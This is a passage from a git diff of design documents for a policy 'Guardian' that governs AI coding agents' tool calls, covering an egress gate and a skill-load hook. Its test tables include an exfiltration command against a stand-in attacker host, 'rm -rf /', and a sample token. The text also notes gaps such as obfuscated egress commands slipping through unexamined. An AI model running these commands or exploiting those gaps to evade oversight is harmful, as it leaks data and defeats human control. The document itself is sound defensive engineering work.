mapping (C1) | N23, N24 (runtime) and N41, N42, N48 (harness) | +| S10 | `mapping.yaml` | The normative ACS ↔ MS-ACS mapping (C1). 🟡 V9 adds the per-tool policy-target argument table N54 resolves, which replaces `into_argument`'s literal | N23, N24, N54 (runtime) and N41, N42, N48 (harness) | | S11 | `agt.lock` | Pinned upstream AGT ref | N31 (bridge) and N46 (differ) | **S10 is the load-bearing design choice.** The same mapping file drives the runtime *and* the conformance harness. If the adapter and the claimed mapping ever diverge, the matrix goes red. That is what makes C1 a contract rather than documentation, and it is why C wins R1 in the fit check. @@ -336,6 +377,7 @@ flowchart TB N6["N6: applyFailurePosture()"] N7["N7: validateDecision()"] S1["S1: claude-code.hookmap.yaml"] + S17["S17: settings.json hook registration + tool matcher"] S13["S13: negotiated session config"] S14["S14: audit sink"] end @@ -361,11 +403,14 @@ flowchart TB N21["N21: validateEnvelope()"] N22["N22: appendContextEntry()"] N23["N23: assemblePreToolCallSnapshot() / assemblePostToolCallSnapshot()"] + N56["N56: assembleSkillLoadSnapshot()"] N24["N24: mapVerdict()"] N25["N25: persistIfcLabels()"] N26["N26: createEnvelopeLogSink()"] N27["N27: denyOnInvalidEnvelope()"] N28["N28: buildServerHello()"] + N54["N54: resolvePolicyTargetArgument()"] + N55["N55: annotateEgressDestination()"] S3["S3: sessionContext chain"] S4["S4: intent"] S5["S5: provenance + IfcLabels"] @@ -416,6 +461,7 @@ flowchart TB U1 --> N1 N1 --> N2 + S17 -.-> N1 S1 -.-> N2 N2 --> N4 N4 --> N20 @@ -458,6 +504,12 @@ flowchart TB S5 -.-> N23 S10 -.-> N23 N23 --> N30 + N22 --> N56 + S10 -.-> N54 + N54 -.-> N23 + N54 -.-> N24 + N56 --> N30 + N55 --> N30 S7 -.-> N31 S8 -.-> N31 @@ -542,7 +594,7 @@ flowchart TB |---|----------|--------|----------------| | ~~D1~~ | R3.6 — confirm OpenCode as host #2, replacing Copilot CLI | ✅ **Decided: confirmed** (V5 planning) | Confirmed by running OpenCode **1.18.15**, not by reading it: the plugin API expresses both gates. ⚠️ *This row said "against an unchanged adapter" — planning's belief, disproved by execution: the adapter changed, two hookmap fields and four load-time gates were added, `loadHookmap` began normalising what it returns, and `governStep` took on the `tools` rule both shims share. (A count of changed files stood here and is gone: it went stale during the review round that followed, which is exactly what every other diff-stat figure in this repo did.) R3.4's real subject survives intact and is the stronger claim — **no per-host fork**, every line in the package both hosts run, host #1's source +0/−0. See the R3.4 Fit Check row.* The "sharpest architectural contrast with Claude Code" turned out to be sharper than this row assumed, and in a way that is the point — Claude Code's shim *writes a document*, OpenCode's hooks return `void` and *mutate what they are handed*, so the same rendered `HostOutput` is applied rather than printed. Two conditions attach, both recorded in §V5 and risk rows 17/18 | | D2 | R3.7 — swap the runtime too? | Decided: no | Keeps every arm one Microsoft recognizes; costs the vendor-neutrality demonstration | -| D3 | R5.4 — hook coverage | Open | All 19 is a spec exercise; the 8 AGT consumes is the minimum that proves R1 | +| ~~D3~~ | R5.4 — hook coverage | ✅ **Decided: the two tool-call hooks, plus `steps/skillLoad`** (V9/V10 planning) | The original reasoning stands and is what picks the third: the eight points AGT consumes are the minimum that proves R1, and coverage beyond them earns its place only by driving a real AGT rule rather than by existing. `steps/skillLoad` does exactly that — it carries a `digest` whose semantics `hooks/skill-load.json` spells out clause for clause as what `policy/lib/content_hash.rego` decides, and no AGT host package has a hook for it. So this is not "one more of the nineteen": it is the first hook where an ACS-only surface drives AGT's unforked bundle, which is R8.3's own question answered by building it. ⚠️ *V9/V10 planning first wrote the denominator as 22 and called V1's 19 stale. Both counts are right for different sets — 22 is every hook payload schema, 19 is the `steps/*` subset, and R5.4 asks about `steps/*` — so V1's figure stands and the claim is three of nineteen. §V10 carries both counts and names the three non-`steps` schemas* | | D4 | R1.1 — spec `steps/modelCall` for v0.2 as part of this work, or map AGT's two model-call points onto existing hooks and declare the seam | Open | Decides whether this is an implementation project or a spec-and-implementation project | | D5 | R7.3 — determinism | Open | A scripted transcript demos reliably; a live model demos honestly | | D6 | Shape selection | **Decided: C** | C is the only shape that proves R1 rather than asserting it | diff --git a/docs/shaping/acs-reference-impl-slices.md b/docs/shaping/acs-reference-impl-slices.md index d76f57f6..1727679b 100644 --- a/docs/shaping/acs-reference-impl-slices.md +++ b/docs/shaping/acs-reference-impl-slices.md @@ -22,8 +22,10 @@ Every slice ends in something demo-able. | V6 | Session state and provenance carriage | C4 | "The SessionContext chain grows per step. AGT emits `result_labels` at one step and gets them back as `input.ifc.source_labels` at the next, carried in the `IfcLabels` field of the ACS provenance record." | | V7 | Conformance matrix | C1, C2, C5 | "Eight intervention points by five AGT verdicts, every cell resolved — `expressed` where ACS v0.1.0 expresses AGT, `guardian_only` where only process-local Guardian knowledge can, `unexpressed` with a named reason where it cannot. Plus the Trace pillar, measured as an explicit non-claim." | | V8 | Upstream contract watch | C6 | "Point the harness at AGT `main`. A changed enum value is reported as a `SurfaceDiff` naming the surface and the field that moved." | +| V9 | A second tool shape, and the egress gate | C7, C9 | "Ask for a web fetch of a host the allowlist does not cover. AGT's stock `egress` gate denies it — a fourth gate class live, from one `data.json` key and no code. Then ask for the same destination over `curl`, and it denies again, this time from a Guardian-extracted destination. Both verdicts come from the same unforked rule." | +| V10 | A hook AGT has no host for | C8 | "Load a skill whose bytes changed since it was approved. AGT's stock `content_hash` gate denies it, driven by `steps/skillLoad` — an ACS hook no AGT host package implements, deciding through AGT's own unforked bundle." | -**Order rationale.** V1–V4 establish credibility on the host AGT already supports best, so the second-host claim in V5 lands against a working baseline rather than a promise. V7 is the deliverable Microsoft reads, but its cells can only be *resolved* once V1–V6 exist to be measured — never "green", which is the success name §V7 retracted and which this line had gone on carrying. V8 is what keeps V7 true after upstream moves. +**Order rationale.** V1–V4 establish credibility on the host AGT already supports best, so the second-host claim in V5 lands against a working baseline rather than a promise. V7 is the deliverable Microsoft reads, but its cells can only be *resolved* once V1–V6 exist to be measured — never "green", which is the success name §V7 retracted and which this line had gone on carrying. V8 is what keeps V7 true after upstream moves. **V9 and V10 come after V8 rather than beside V4**, though neither depends on the upstream watch: both change what the conformance matrix measures, and a matrix that moves while it is being published is worse than one published late. V9 precedes V10 because V10's snapshot needs V9's normalised policy target — a skill-load snapshot has no `command` argument either, and would hit the same `runtime_error:path_missing` wall. --- @@ -597,10 +599,357 @@ Runs on a schedule in CI. MS-ACS is `0.3.1-beta` and warns of breaking changes b **⚠️ What this slice confirms, and what it does not — the demo sentence invites a stronger reading than it can carry.** Upstream movement cannot break the running implementation: `agent-control-specification` is pinned at exactly `0.3.1-beta.0` (no caret), `agt.lock` pins the ref, and `verify:pin` proves `policy/lib` is byte-identical to it, so nothing on `main` reaches this repository until a human bumps the pin. Forward compatibility is bought by pinning, not by watching. What upstream movement *does* break is the truth of the published claim — V7's matrix asserts ACS v0.1.0 expresses AGT at 40 coordinates, measured against a ref that quietly becomes historical, and a confidently wrong table is this slice's real subject. +**⚠️ V9 planning found a second `tools`-adjacent hazard on the seam this section already watches, and V9 closes it because V9 is what makes it reachable.** The row below rules that a hookmap `tools` entry naming a string the host never dispatches silently governs nothing. Its neighbour is the *opposite* asymmetry, in `mapping.yaml` rather than a hookmap: `pre_tool_call.modifications.into_argument` is the literal `command`, applied to every tool regardless of what that tool's arguments are called. Today it cannot misfire, because `^Bash$` is the only matcher and `command` is the only argument. V9 widens the matcher, and at that moment a `transform` on a `WebFetch` call is emitted as `parameter_overrides.command` — a key the tool has no argument for — while `url`, still carrying whatever AGT redacted, is delivered untouched. **Measured through the shipped `mapVerdict`**, not reasoned about, and recorded in `spike-unreached-gates.md` §A7. Unlike the six posture-seam faults and the `tools` row, this one is *created* by V9's own widening, so it is V9's to close and not a residual: N54 makes the target argument and the override argument one declaration read twice. + **R2.5 asks for more than a surface diff, and V8 delivers part of it.** The requirement says a moved surface "shows up as a failing case rather than silent rot" — that is a re-measurement, not a textual comparison. The reachable half is re-asking V7's own question of `main`: validating the policy input the Guardian would send against `main`'s `policy-input.schema.json`, which fails rather than diffs. The unreachable half is re-running the whole coverage matrix against `main`, because that evaluates through the AGT **Node SDK** and the SDK at `main` is not published to npm — it would have to be built from source on every scheduled run. **That gap is a slice of its own and is not V8's**; V8's declaration states the boundary in these words so no reader takes the watch for a compatibility guarantee. --- +## V9: A second tool shape, and the egress gate + +**Demo:** Ask for a web fetch of a host the allowlist does not cover. AGT's stock `egress` gate denies it — a fourth gate class live, from one `data.json` key and no code. Then ask for the same destination over `curl`, and it denies again, this time from a Guardian-extracted destination. Both verdicts come from the same unforked rule. + +Every measurement in this section is in `docs/shaping/spike-unreached-gates.md`, taken against the pinned bundle through the shipped assembler and the shipped `mapVerdict` rather than read out of AGT's documentation. + +### Detail V9: affordances + +Breadboarded against the shipped code, so every name below points at something real. + +**UI affordances — all existing, none new.** + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| U2 | P1 | claude-code | tool permission outcome in transcript — now also carries `egress_destination_not_allowed` | render | — | — | +| U11 | P2 | opencode | tool decision surface | render | — | — | +| U20 | P4 | inspector | envelope stream, request/response JSON pairs | render | — | — | +| U21 | P4 | inspector | decision badge: decision + `policy_references` + `reason_codes` | render | — | — | + +**No new UI, and that is the right answer rather than an omission.** The fourth gate class denies through the same surfaces the first three have used since V3, because a deny is a deny — U21 already renders whatever `reason_codes` comes back. Inventing a surface for `egress` would claim it is a different kind of decision than `destructive_shell_command_blocked`, and it is not. + +**Code affordances.** + +| # | Place | Component | Affordance | Control | Wires Out | Returns To | +|---|-------|-----------|------------|---------|-----------|------------| +| N54 | P3 | guardian / `map-verdict.ts` | **NEW** `resolvePolicyTargetArgument(mapping, point, toolName)` — S10's `by_tool` table, falling back to its `default` | call | — | → N23, → N24 | +| N55 | P3 | guardian / `annotate-egress.ts` | **NEW** `annotateEgressDestination(name, config, preliminary)` — answers `{destination}` when it finds one in `raw_command`, `{}` when it does not | call | — | → N30 | +| N23 | P3 | guardian | `assemblePreToolCallSnapshot(envelope, sourceLabels, policyTargetArgument)` — **third parameter is new**; writes the normalised leaf and forwards `raw_command` | call | → N30 | — | +| N24 | P3 | guardian | `mapVerdict(verdict, mapping, point, policyTargetArgument)` — **fourth parameter is new**; `synthesizeModifications` keys `parameter_overrides` by it instead of by `rule.into_argument` | call | → N25, → N26 | → N4, → N13 | +| N21 | P3 | guardian | `validateEnvelope()` — `raw_command` already typed at `validate-envelope.ts:100`; V9 is what first populates it | call | → N22, → N27 | — | +| N31 | P3.1 | agt-bridge | `AgentControl.fromPath(manifest)` — **now always constructed with an annotator dispatcher**, because the manifest declares one | call | — | → N30 | +| N30 | P3.1 | agt-bridge | `evaluateInterventionPoint(point, snapshot)` — dispatches N55 while building the policy input | call | → N55 | → N24 | +| N2 | P1 | `@acs/host-adapter` | `buildEnvelope()` — `buildPayload`'s request branch reads S1's new `raw_command` path | call | → N4 | — | +| N11 | P2 | `@acs/host-adapter` | `buildEnvelope()` — same module as N2, reads S2's | call | → N13 | — | + +**Data stores.** + +| # | Place | Store | What changes | +|---|-------|-------|--------------| +| S17 | P1 | **NEW** `.claude/settings.json` and `hosts/claude-code/settings.json` | The `PreToolUse` matcher, `^Bash$` → `^(Bash\|WebFetch)$`. **Never in this breadboard before**, which is exactly why the one-tool limit went unnoticed through eight slices: the file that decides which tools are governed at all had no affordance | +| S10 | shared | `mapping.yaml` | Gains `intervention_points..policy_target_argument: {default, by_tool}`. `modifications.into_argument` is **removed**, not kept alongside — two declarations of the same fact are two things that can disagree | +| S7 | P3.1 | `policy/manifest.yaml` | `policy_target` → the normalised leaf; `tools:` gains `WebFetch` and `webfetch`; gains `annotators: egress` and `pre_tool_call.annotations.egress` | +| S8 | P3.1 | `data.agt.defaults.config` | Gains `egress` **with an explicit `allowlist`** (risk row 21) | +| S1 | P1 | `claude-code.hookmap.yaml` | `PreToolUse` gains `raw_command: $.tool_input.command` | +| S2 | P2 | `opencode.hookmap.yaml` | Request gate gains `raw_command`, and its `tools:` list gains OpenCode's fetch tool | + +**This slice's affordances are N54, N55, N23, N24, N21, N31, N30, N2, N11, S17, S10, S7, S8, S1, S2, and the four existing U's.** + +### Wiring + +```mermaid +flowchart TB + subgraph P1["P1: Claude Code session"] + S17["S17: settings.json PreToolUse matcher"] + S1["S1: claude-code.hookmap.yaml"] + N2["N2: buildEnvelope()"] + U2["U2: permission outcome"] + end + + subgraph P2["P2: OpenCode session"] + S2["S2: opencode.hookmap.yaml"] + N11["N11: buildEnvelope()"] + U11["U11: decision surface"] + end + + subgraph P3["P3: ACS Guardian service"] + N21["N21: validateEnvelope()"] + N54["N54: resolvePolicyTargetArgument()"] + N23["N23: assemblePreToolCallSnapshot()"] + N24["N24: mapVerdict()"] + N55["N55: annotateEgressDestination()"] + N26["N26: envelope log sink"] + + subgraph P31["P3.1: AGT bridge"] + N31["N31: AgentControl.fromPath()"] + N30["N30: evaluateInterventionPoint()"] + S7["S7: policy/manifest.yaml"] + S8["S8: data.agt.defaults.config"] + end + end + + subgraph P4["P4: Envelope Inspector"] + U20["U20: envelope stream"] + U21["U21: decision badge"] + end + + S10["S10: mapping.yaml"] + + S17 -.->|which tools reach the shim| N2 + S1 -.->|raw_command path| N2 + S2 -.->|raw_command path| N11 + N2 --> N21 + N11 --> N21 + N21 --> N54 + S10 -.->|by_tool table| N54 + N54 -.->|argument name| N23 + N54 -.->|argument name| N24 + N23 -->|snapshot: normalised leaf + raw_command| N30 + S7 -.-> N31 + S8 -.-> N31 + N31 -.-> N30 + N30 -->|dispatch| N55 + N55 -.->|{destination} or {}| N30 + N30 -.->|verdict| N24 + N24 --> N26 + N24 -.-> U2 + N24 -.-> U11 + N26 -.-> U20 + N26 -.-> U21 + + classDef ui fill:#ffb6c1,stroke:#d87093,color:#000 + classDef nonui fill:#d3d3d3,stroke:#808080,color:#000 + classDef store fill:#e6e6fa,stroke:#9370db,color:#000 + classDef new fill:#90EE90,stroke:#228B22,color:#000 + + class U2,U11,U20,U21 ui + class N2,N11,N21,N23,N24,N26,N30,N31 nonui + class S1,S2,S7,S8,S10,S17 store + class N54,N55 new +``` + +### Demo walkthrough + +| Step | Action | Where to look | +|------|--------|---------------| +| **1** | Ask for a fetch of an off-allowlist host | S17 admits `WebFetch` → N2 builds `arguments.url` → N54 answers `url` → N23 writes the leaf | +| **2** | AGT decides on the wire's own field | N30 reads `snapshot.tool_call.args.url`, `egress.rego`'s **first** default path — no annotator involved | +| **3** | Denial lands | N24 → U2, and N26 → U20/U21 | +| **4** | Ask for `curl` of the same host | N2 builds `arguments.command` **and** `raw_command` → N54 answers `command` | +| **5** | The Guardian originates the destination | N30 dispatches N55, which answers `{destination}` → `["annotations", "egress", "destination"]`, the last of `egress.rego`'s five `default_destination_paths` | +| **6** | Same rule, same reason code, different provenance | Identical `egress_destination_not_allowed` at U2. The two routes differ in **provenance**, not in verdict — and not in any coordinate V7's matrix carries; see the amendment under C7.2 | + +### ⚠️ V9 widens the request gate's matcher and NOT the result gate's, and that is measured rather than cautious + +`claude-code.hookmap.yaml`'s `PostToolUse` entry declares `outputs.from: $.tool_response.stdout` and `outputs.within: $.tool_response`. A `WebFetch` result carries no `stdout`, so `resolvePath` answers `undefined` and `buildPayload` **throws** — *"a result payload carrying no output would ask the far end to govern a step whose output it cannot see"*. That throw is caught by `governStep` at stage `"request"` and answered with the negotiated delivery posture, which under the shipped default (`proceed`) means **the step runs ungoverned with an audit event**. + +So widening `PostToolUse` alongside `PreToolUse` would buy a fail-open on every fetch result, in exchange for nothing: no stock gate reads a fetch's output. V9 widens the request gate only, and `.claude/settings.json` keeps `^Bash$` on `PostToolUse`. + +**The general form of this is not V9's to close, and is stated so it is not mistaken for solved:** `outputs.from` is a single path per hook, exactly as `policy_target` was a single path per intervention point — the same one-shape-per-gate assumption, one layer out, in the hookmap instead of the manifest. N54 answers it for arguments; nothing answers it for outputs. Whoever governs a second tool shape *at the result gate* needs the `outputs` counterpart of S10's `by_tool` table, and that is a slice with its own measurements. + +### What N54 replaces, and why the old check cannot simply be kept + +`test/path-dialects.test.ts` derives `mapping.yaml`'s `into_argument` from `policy/manifest.yaml`'s `policy_target` and fails if the two stop describing one leaf. Under V9 the manifest's `policy_target` names the normalised leaf, so that derivation would yield the leaf's own name — which is no host's argument, and would fail against every row of the new table. + +The check does not disappear; it splits into the two agreements that are actually load-bearing now: + +1. The manifest's `policy_target` names the leaf N23 writes. One derivation, as before. +2. Every argument named in S10's `by_tool` table is one the tool it is keyed by can actually carry — checked against `policy/manifest.yaml`'s `tools:` registry for existence, which is the honest half. ⚠️ *The registry cannot tell whether `WebFetch` takes a `url`, only that `WebFetch` is registered — the same limit §V8 measured for hookmap `tools` entries, and for the same reason: the manifest names more than any one host dispatches.* + + + +### What is config, and what is code + +The demo's first half is the strongest form of R2.1 available, and it is worth being precise about why. `egress.rego` declares its own destination paths, and the **first** is `["snapshot", "tool_call", "args", "url"]`. `assemblePreToolCallSnapshot` already unwraps every ACS `arguments..value` into `tool_call.args.`. So for a tool whose ACS arguments name a `url`, the wire and the gate already agree, and nothing translates between them. + +Measured, with one `data.json` key and one manifest `tools:` entry: + +| Envelope | Verdict | +|---|---| +| `arguments.url.value = "https://docs.anthropic.com/x"` | `allow`, `result_labels: ["public"]` | +| `arguments.url.value = "https://exfil.attacker.test/steal"` | `deny` `egress_destination_not_allowed` | + +Zero code, zero Rego, `verify:pin` untouched. **The code in this slice is not what makes egress work** — it is what makes a *second tool shape* work at all, and what covers the shell case the first half cannot. + +⚠️ *Read that split precisely, because "no code" is easy to over-read. **Deciding** about a fetch's destination costs no code. **Getting a fetch call as far as being decided about** is C9's subject, and it is code: measured against a copy of `mapping.yaml` with the two fetch rows deleted, so the tool falls back to `default: command`, the benign fetch above comes back `deny`, reason `evaluation_failed`, with the Guardian's own message: `mapping.yaml reads tool "WebFetch"'s policy target from argument "command", but this call sent no such argument (it sent: url)`. The gate is configuration; the second tool shape is not.* + +### C9: why a second tool needs code before it needs policy + +AGT's `manifest.schema.json` defines `intervention_point` with `additionalProperties: false` and exactly one `policy_target`. One manifest, one point, one path — no per-tool variation. Before this slice, `policy/manifest.yaml` declared `$.tool_call.args.command`, and AGT resolves that path *before any rule runs*. + +Measured: a benign `WebFetch` call under that target was denied with `runtime_error:path_missing`, message *"Request blocked by Agent Control Specification."* Not evaluated and allowed — **denied, on a missing path, with no rule consulted.** + +That had never bitten because `.claude/settings.json` and `hosts/claude-code/settings.json` both matched `^Bash$`. The deployment governed exactly one tool, whose argument is named `command`, which is why one literal had been able to stand in for a table. Both files now match `^(Bash|WebFetch)$` at the request gate. + +So the normalised leaf: `mapping.yaml` names, per intervention point, which argument each tool's policy target is read from, N23 writes it to one fixed snapshot leaf, and the manifest keeps its single `policy_target` pointed at that leaf. Every gate stays live in one Guardian, which is the property a second manifest per gate would have cost. + +**⚠️ The leaf is shared with `patterns` and `redact`, and that had to be measured rather than assumed.** Both fall back to `input.policy_target.value` — `pattern_text()` explicitly, `redact_verdict` directly. A URL landing there is evaluated by rules written for shell commands. + +The table below replaces the two partial ones this section carried during planning. It summarises the full measurement, taken against **the manifest and the `policy/lib/data.json` this slice actually ships**, through the shipped assembler and the shipped `createDeploymentBridge`; the column is AGT's own verdict rather than the ACS decision it maps to, and the verbatim captures are in `docs/demos/v9-runbook.md`: + +| Tool | Policy target | AGT verdict | +|---|---|---| +| `Bash` | `echo hi` | `allow`, `result_labels: ["public"]` | +| `Bash` | `rm -rf /` | `deny` `destructive_shell_command_blocked` | +| `Bash` | `curl https://exfil.attacker.test/steal` | `deny` `egress_destination_not_allowed` | +| `Bash` | `curl https://docs.anthropic.com/x` | `allow`, `result_labels: ["public"]` | +| `Bash` | `echo ghp_ABCDEF123456` | `transform`, `transform.value` = `echo [REDACTED]` | +| `WebFetch` | `https://docs.anthropic.com/x` | `allow`, `result_labels: ["public"]` | +| `WebFetch` | `https://exfil.attacker.test/steal` | `deny` `egress_destination_not_allowed` | +| `WebFetch` | `https://docs.anthropic.com/?t=ghp_ABCDEF123456` | `transform`, `transform.value` = `https://docs.anthropic.com/?t=[REDACTED]` | + +Four gate classes decide these eight rows — `ifc` (the `result_labels`), `patterns`, `redact`, `egress` — and **no gate produced a false positive in either direction across them**: the destructive-shell patterns fired on none of the five rows carrying a URL, and the egress gate fired on none of the three rows carrying no destination. Stated as a measurement rather than as a property: eight rows against one configuration is not a proof, and a ninth input could still find a URL that matches a shell pattern or a command that matches a host glob. **The AGT layer is sound under a shared leaf, as far as these eight rows reach.** The full ACS-level captures are in `docs/demos/v9-runbook.md`. + +⚠️ *One dependency inside the table, easy to lose: AGT ranks an egress deny **above** a redact transform, so the two `docs.anthropic.com` transform rows only reach the redact rule because `*.anthropic.com` is in the shipped allowlist. Narrow that entry and those rows become egress denials — correct behaviour, and a confusing failure.* + +**⚠️ The ACS layer was not, and this is the defect the slice exists to close.** Before this slice, `mapping.yaml` answered "which argument does an override get written to" with a literal, `into_argument: command`, for every tool. The last row of the table above was re-run through **the pre-slice `mapVerdict` and the pre-slice `mapping.yaml`, both taken verbatim out of `be5ab38`** and handed the real AGT verdict the shipped bundle produces for it: + +``` +pre-slice mapVerdict + mapping {"decision":"modify","reasoning":"A secret in this command was replaced before it ran. Policy: redaction_applied, from AGT's stock bundle (agt_stock).","reason_codes":["redaction_applied"],"policy_references":[{"policy_id":"agt_stock","rule_id":"redaction_applied"}],"modifications":{"parameter_overrides":{"command":"https://docs.anthropic.com/?t=[REDACTED]"}}} +the url the tool would still send "https://docs.anthropic.com/?t=ghp_ABCDEF123456" +``` + +The redaction is emitted against an argument `WebFetch` does not have, and `url` — still carrying the token — is what the tool would go on to send. A modification reported applied while the original ships: the same family as risk rows 15 and 17, reached from a third direction. **N54 is the answer, and its shape is the point**: the argument the target is read *from* and the argument an override is written *to* are one declaration read twice, because two declarations would be two things that can disagree. `test/path-dialects.test.ts` used to derive `into_argument` from the manifest's `policy_target`; under a normalised leaf that derivation yields the leaf's own name, which is no host's argument, so the check changed with it rather than being deleted. The full capture, with the AGT verdict that fed it, is in `docs/demos/v9-runbook.md`. + +**One consequence small enough to lose and wrong enough to matter, and it is visible in the capture above:** `mapping.yaml`'s `summaries.redaction_applied.pre_tool_call` read *"A secret in this **command** was replaced before it ran."* Under a shared leaf that sentence is wrong for every non-shell tool, and it is the sentence a model reads. The shipped wording is *"A secret in this step's arguments was replaced before it ran."* + +### C7.2: the half that costs a claim + +The `url` route covers `WebFetch` and covers nothing else. Exfiltration is `curl https://evil.test/x`, and that destination lives inside `raw_command` — an ACS v0.1.0 field this repository types in `validate-envelope.ts:100`, no hookmap declares, and no assembler forwards. `capability` beside it is the same story at line 98, and its own spec description offers `network.egress` as a worked example. + +Forwarding `raw_command` is not enough on its own, and **the mechanism this paragraph originally gave for that was wrong** — it read *"`host_of()` splits on `://` and `/`, so handed `curl https://evil.test/x` it answers `curl https`."* Measured by calling the rule directly through the OPA binary the pinned SDK ships: + +``` +host_of("echo hi") -> "echo hi" +host_of("ls -la /tmp") -> "ls -la " +host_of("curl https://evil.test/x") -> "evil.test" +host_of("curl https://docs.anthropic.com/x") -> "docs.anthropic.com" +host_of("curl https://docs.anthropic.com; ls") -> "docs.anthropic.com; ls" +``` + +Against the shipped allowlist, only the fourth of those five is allowed. `split(url, "://")[1]` is everything *after* the scheme, so an embedded, path-bounded URL yields a perfectly good host — that is the case that works, and it is the only one. Two things break the rest. `host_of` has a **second branch** for strings containing no `://` which returns the command's own leading word, so a forwarded command line **always** resolves a destination; no allowlist pattern matches a command line, so every benign shell step would be denied. And where nothing bounds the host on the right, trailing shell text is swallowed into it — the fifth row turns an allowlisted destination into a denial. + +So extraction is a real step. It lands in N55 and reaches policy at `input.annotations.egress.destination` — one of the five entries in `egress.rego`'s own `default_destination_paths`, which is to say AGT anticipated exactly this seam and declared the address for it. + +Measured, with the dispatcher supplied — three of the eight rows in the table above, with the annotation the gate actually read beside each: + +| `raw_command` | `input.annotations` | AGT verdict | +|---|---|---| +| `echo hi` | `{"egress":{}}` | `allow` — no destination found, gate `undefined`, falls through | +| `curl https://exfil.attacker.test/steal` | `{"egress":{"destination":"https://exfil.attacker.test/steal"}}` | `deny` `egress_destination_not_allowed` | +| `curl https://docs.anthropic.com/x` | `{"egress":{"destination":"https://docs.anthropic.com/x"}}` | `allow` | + +**⚠️ Amended after measurement: the distinction is real and the matrix cell is not.** This paragraph read *"the destination is Guardian-originated, so the cell is `guardian_only` where C7.1's cell is `expressed` — two colours for one gate"*. Measured against the shipped harness, that is not implementable and would not have meant what it said. V7's matrix is **8 AGT intervention points × 5 AGT verdicts**, and both axes are read off the pinned SDK's own `InterventionPoint` and `Decision` consts (`packages/conformance/src/cells.ts`). There is no coordinate for a gate class and none for a route. `pre_tool_call × deny` already resolves `expressed`, from the patterns gate, via `failure-domains.ts` — so an egress deny at that coordinate adds no cell and changes no status, and a second deny at the same coordinate cannot be given a different colour without widening the axes to carry a third dimension nothing else measures. That is V8's own rule applied again: *"a `SurfaceDiff` is not a cell of V7's 8 × 5"*. + +What survives is the claim itself, restated where it is true: **the two routes are two claims, and the difference is provenance.** The `url` route's destination is constructible from the ACS envelope alone; the `raw_command` route's is originated by the Guardian — the status R1.3's `annotations` and R1.4's identity already carry. That is why both halves ship instead of one, and it is stated in `docs/demos/v9-runbook.md` and here, not encoded as a cell. + +**What V9 does and does not change in `packages/conformance`.** It adds **no cell** to the coverage matrix and changes **neither of its axes** — that half of the original correction stands. It does not leave the package untouched, and an earlier draft of this paragraph said it did. Declaring an annotator on the shipped manifest meant every construction of a bridge against that manifest had to supply a dispatcher or answer `runtime_error:annotation_failed` on every call, and two of those constructions are production files under `packages/conformance/src/`. All of them — and the Guardian itself — now build their bridge through one `createDeploymentBridge`, published at the declared `guardian/deployment` subpath, so the harness and the deployment provably construct the same bridge rather than the harness measuring a replica of one. + +**⚠️ Watch-for: a command the extractor cannot parse is not denied, it is unexamined.** The gate is `undefined` when no destination resolves, so an obfuscated or novel egress form falls through to `allow`. This is the failure direction to state plainly in the runbook, because the demo's shape invites the opposite reading. + +**⚠️ Watch-for: an annotator the Guardian dispatches nothing for denies every call.** Measured — one manifest declaring `annotators: egress: {type: classifier}`, evaluated by a bridge built without a dispatcher, answered `deny runtime_error:annotation_failed` (*"egress: missing required field 'url'"*) for `echo hi` as readily as for a `curl`. Not a no-op: a **total deny wearing a runtime-error reason**, which reads like a policy decision. This is why `policy/manifest.drift.yaml` is a sibling file rather than a block in the main manifest, and V9 takes the other road — one manifest, with `startGuardian` supplying the dispatcher unconditionally. The seam already exists (`CreateBridgeOptions.annotator`); what changes is that it stops being optional. A test asserting a benign call is not denied under the shipped manifest is the backstop, and it is the one test in this slice whose absence would be silent. + +**⚠️ Watch-for: `egress` must carry an explicit `allowlist`.** With the key absent, `allowlist(rules)` falls back to `input.tool.security_labels` — `["shell"]` on every tool `policy/manifest.yaml` registers — and every destination is denied. `policy/manifest.yaml`'s own `bash` comment anticipated the coupling ("carried only so `bash` behaves like `Bash` the moment `cfg.egress` ever gets configured") but not this direction of it. First recorded in the spike's residual; it becomes V9's the moment V9 sets the key. + +### ⚠️ An annotator's `from` is a liveness precondition, not a projection — and this is §A8's family arriving a second time + +Planning assumed `annotations..from` named the value the dispatcher would be handed. Measured against the pinned SDK, all three halves of that are wrong, and each one changes the implementation: + +1. **The annotator is never called when `from` does not resolve.** The SDK resolves the path first and fails the whole call closed. A `WebFetch` call under a `from` of `$.tool_call.args.command` came back `deny runtime_error:path_missing` with the dispatcher recording zero calls. +2. **`from` is required.** A manifest declaring `annotations: {egress: {}}` does not parse — *"intervention_points.pre_tool_call.annotations.egress: missing field `from`"* — so "just omit it" is not available. +3. **The resolved value never reaches the dispatcher.** `config` is the annotator's own *declaration* (`{"from":"$.tool_call.raw_command","type":"classifier"}` — the path, not the value), and `preliminary` is AGT's whole preliminary policy input: `{intervention_point, policy_target, snapshot, annotations, tool}`. There is no projection to receive. + +**Two consequences, and neither is optional.** N23 must write `raw_command` on **every** request snapshot, as the empty string when the wire carried none — otherwise every call by a tool that sends no command is a total deny wearing a runtime-error reason. And N55 reads the command out of `preliminary.snapshot.tool_call.raw_command` itself, because there is nothing to hand it. + +This is §A8's family — in `docs/shaping/spike-unreached-gates.md` — reached from a second direction. §A8 is *a declared annotator with no dispatcher denies everything*; this is *a declared annotator whose `from` cannot resolve denies everything, with the annotator never reached*. Same total deny, same runtime-error reason that reads like a policy decision, different cause — which is why the answer is structural in both cases rather than a matter of getting the manifest right. + +### C5: OpenCode's fetch tool, with the evidence for each half named separately + +The **name** was measured before this slice: §V5's live run through a Guardian recorded `read / grep / write / edit / webfetch -> deny runtime_error:path_missing`, which is OpenCode reporting its own tool names. + +The **argument key** was, during planning, read out of the shipped `opencode` 1.18.18 binary's own tool renderer (`t.input.url`) — evidence about the tool's input shape, and not a live measurement of what lands in the plugin's `args`. It was therefore held as unverified until measured live, and it now has been: a real `opencode run` session with the real plugin loaded, driven by a local stub model emitting a canned `webfetch` call, produced this on the wire — + +```json +"payload":{"tool":{"name":"webfetch"},"arguments":{"url":{"value":"https://example.org/"},"format":{"value":"text"}}} +``` + +— confirmed twice, once under an AGT deny and once under an allow whose path additionally ran the whole chain end to end: `mapping.yaml`'s `by_tool.webfetch: url` row → N54 → N23's leaf copy → AGT's fixed `policy_target` resolving → the real egress rule evaluating → OpenCode's own `webfetch` tool actually running. `mapping.yaml` needed no change. The tool *name* was not re-derived from scratch in that run — it was reused from §V5's measurement to construct the stub's canned call — so this reconfirms the name as a side effect and establishes the argument key as new evidence. + +### What V9 does not claim + +Widening the matcher governs the tools named in it and no others. Claude Code 